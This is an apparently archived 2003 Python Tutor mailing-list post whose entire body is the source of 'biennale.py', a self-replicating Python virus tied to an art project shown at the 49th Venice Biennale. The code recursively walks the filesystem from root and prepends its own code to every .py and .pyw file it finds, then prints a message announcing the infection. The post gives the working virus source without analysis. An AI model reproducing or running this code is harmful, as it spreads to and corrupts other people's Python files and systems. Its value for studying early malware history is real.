[Tutor] <TUTOR>Python virus...
Predrag Ivanovic
Predrag Ivanovic <predivan@ptt.yu>
Sat Jun 21 18:59:01 2003
#biennale.py______go to______49th Biennale di Venezia
#HTTP://WWW.0100101110101101.ORG___+___[epidemiC]http://www.epidemic.ws
from dircache import *
from string import *
import os,sys
from stat import *
def fornicate(guest):
try:
soul=open(guest,"r")
body=soul.read()
soul.close()
if find(body,"[epidemiC")== -1:
soul=open(guest,"w")
soul.write(mybody+"\n\n"+body)
soul.close()
except IOError:
pass
def chat(party,guest):
if split(guest,".")[-1] in ("py","pyw"):
fornicate(party+guest)
def join(party):
try:
if not S_ISLNK(os.stat(party)[ST_MODE]):
guestbook=listdir(party)
if party !="/":party= party+ "/"
if not lower(party) in wank and not "__init__.py" in guestbook :
for guest in guestbook:
chat(party,guest)
join(party+guest)
except OSError:
pass
if __name__=='__main__':
mysoul=open(sys.argv[0])
mybody=mysoul.read()
mybody=mybody[:find(mybody,"#"*3)+3]
mysoul.close()
blacklist=replace(split(sys.exec_prefix,":")[-1],"\\","/")
if blacklist[-1] != "/":
blacklist=blacklist+ "/"
wank=[lower(blacklist),"/proc/","/dev/"]
join("/")
print "> This file was contaminated by biennale.py,the world's slowest virus. "
print "Either Linux or Windows,biennale.py is definetely the first Python virus. "
print "[epidemiC]http://www.epidemic.ws___+___HTTP://WWW.0100101110101101.ORG___"
print ">__________________49th Biennale di Venezia_______________________________< "